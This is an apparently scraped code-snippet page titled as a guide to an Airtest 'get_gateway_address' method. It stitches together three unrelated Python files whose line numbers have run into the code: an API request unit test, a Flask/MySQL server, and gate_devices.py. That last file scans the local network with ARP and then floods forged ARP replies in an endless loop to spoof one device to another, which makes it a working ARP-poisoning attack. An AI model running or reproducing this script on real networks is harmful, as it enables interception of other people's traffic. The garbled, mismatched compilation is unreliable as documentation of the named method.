How to use get_gateway_address method in Airtest

Best Python code snippet using Airtest

test_request.py

Source:test_request.py Github

copy

Full Screen

...25 'gateway_addresses': ['12.34.56.78:1234', 'http://127.0.0.1:80'],26 }27 request = Request(**values)28 assert request.get_gateway_protocol() == values['gateway_protocol']29 assert request.get_gateway_address() == values['gateway_addresses'][1]30 assert request.get_client_address() == values['client_address']31 assert request.get_service_name() == ''32 assert request.get_service_version() == ''33 assert request.get_action_name() == ''34 assert request.get_http_request() is None35 # Check service related setters36 request.set_service_name(service_name)37 request.set_service_version(service_version)38 request.set_action_name(action_name)39 assert request.get_service_name() == service_name40 assert request.get_service_version() == service_version41 assert request.get_action_name() == action_name42 # Check parameters43 assert request.get_params() == []44 assert request.has_param('foo') is False45 param = request.get_param('foo')46 assert isinstance(param, Param)47 assert not param.exists()48 param = Param('foo', value=42)49 assert request.set_param(param) == request50 assert request.has_param('foo')51 # Result is not the same parameter, but is has the same values52 foo_param = request.get_param('foo')53 assert foo_param != param54 assert foo_param.get_name() == param.get_name()55 assert foo_param.get_type() == param.get_type()56 assert foo_param.get_value() == param.get_value()57 params = request.get_params()58 assert len(params) == 159 foo_param = params[0]60 assert foo_param.get_name() == param.get_name()61 assert foo_param.get_type() == param.get_type()62 assert foo_param.get_value() == param.get_value()63def test_api_request_new_response():64 SchemaRegistry()65 values = {66 'rid': 'TEST',67 'attributes': {},68 'component': object(),69 'path': '/path/to/file.py',70 'name': 'dummy',71 'version': '1.0',72 'framework_version': '1.0.0',73 'client_address': '205.81.5.62:7681',74 'gateway_protocol': urn.HTTP,75 'gateway_addresses': ['12.34.56.78:1234', 'http://127.0.0.1:80'],76 }77 request = Request(**values)78 # Create an HTTP response with default values79 response = request.new_response()80 assert isinstance(response, Response)81 assert response.get_gateway_protocol() == request.get_gateway_protocol()82 assert response.get_gateway_address() == request.get_gateway_address()83 assert isinstance(response.get_transport(), Transport)84 # An HTTP response is created when using HTTP as protocol85 http_response = response.get_http_response()86 assert http_response is not None87 assert http_response.get_status() == '200 OK'88 # Create a response with HTTP status values89 response = request.new_response(418, "I'm a teapot")90 assert isinstance(response, Response)91 http_response = response.get_http_response()92 assert http_response is not None93 assert http_response.get_status() == "418 I'm a teapot"94 # Create a response for other ptotocol95 values['gateway_protocol'] = urn.KTP96 request = Request(**values)97 response = request.new_response()98 assert isinstance(response, Response)99 assert response.get_gateway_protocol() == request.get_gateway_protocol()100 assert response.get_gateway_address() == request.get_gateway_address()101 assert isinstance(response.get_transport(), Transport)102 # Check that no HTTP response was created103 assert response.get_http_response() is None104 # Create an HTTP request with request data105 values['gateway_protocol'] = urn.HTTP106 values['http_request'] = {107 'method': 'GET',108 'url': 'http://foo.com/bar/index/',109 }110 request = Request(**values)111 assert isinstance(request.get_http_request(), HttpRequest)112def test_api_request_new_param():113 SchemaRegistry()114 values = {...

Full Screen

Full Screen

server.py

Source:server.py Github

copy

Full Screen

...4from folium import plugins5import netifaces6app = Flask(__name__)7'''8* get_gateway_address()는 LocalHost gateway 정보를 반환9* @ https://pypi.org/project/netifaces/10* @ ex) 작성자의 ip 주소인 '192.168.0.10'을 반환11'''12def get_gateway_address():13 return netifaces.gateways()['default'][2][0]14# DB 기본 설정15HOST = get_gateway_address() #'192.168.0.10'16# HOST = 'localhost'17PORT = 330618USER = "username"19PASSWD = "dbpass"20CHARSET = "utf8"21db_name = 'travel'22table_name = ['countries_location', 'status']23'''24* Database로 접근하여 status table의 모든 정보를 가져옴25* @ pymysql 모듈을 사용해 DB로 접근하고 ('입국규정', '검역규정','격리규정','환승규정')값을 return함26* @ cursor 객체의 execute() 메서드를 사용하여 작성한 코드를 DB서버에 보냄27'''28def get_datas(country:str) -> str:29 with pymysql.connect(...

Full Screen

Full Screen

gate_devices.py

Source:gate_devices.py Github

copy

Full Screen

...3from termcolor import colored4import time5def has_root():6 return os.geteuid() == 07def get_gateway_address():8 gateways = netifaces.gateways()9 global gateway_address10 gateway_address = gateways["default"][netifaces.AF_INET][0]11def connected(ip_range):12 arp_request = ARP(pdst=ip_range)13 broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")14 arp_request_broadcast = broadcast/arp_request15 response = srp(arp_request_broadcast, timeout=1, verbose=False)[0]16 global clients17 clients = []18 for client in response:19 client_info = {"ip" : client[1].psrc, "mac" : client[1].src}20 clients.append(client_info)21 print(colored(clients, 'blue'))22def call_connected():23 get_gateway_address()24 class_a = [i for i in range(0,127)]25 class_b = [i for i in range(127,192)]26 class_c = [i for i in range(192,224)]27 g_s = gateway_address.split('.')28 g_s[-1] = '0'29 range_ip = ".".join(g_s)30 if int(g_s[0]) in class_a:31 connected(f'{range_ip}/8')32 elif int(g_s[0]) in class_b:33 connected(f'{range_ip}/16')34 elif int(g_s[0]) in class_c:35 connected(f'{range_ip}/24')36 else:37 print("Adresse IP non prise en charge")38def attack():39 get_gateway_address()40 if len(clients) > 1:41 print("Lauching attack...")42 while True:43 packet = ARP(44 op=2,45 psrc = clients[0]['ip'],46 hwsrc = clients[0]['mac'],47 pdst = clients[1]['ip'],48 hwdst = clients[1]['mac'],49 )50 send(packet, verbose=False)51 else:52 print(colored("No devices to attack", "red"))53if __name__ == "__main__":...

Full Screen

Full Screen

Automation Testing Tutorials

Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.

LambdaTest Learning Hubs:

YouTube

You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.

Run Airtest automation tests on LambdaTest cloud grid

Perform automation testing on 3000+ real desktop and mobile devices online.

Try LambdaTest Now !!

Get 100 minutes of automation test minutes FREE!!

Next-Gen App & Browser Testing Cloud

Was this article helpful?

Helpful

NotHelpful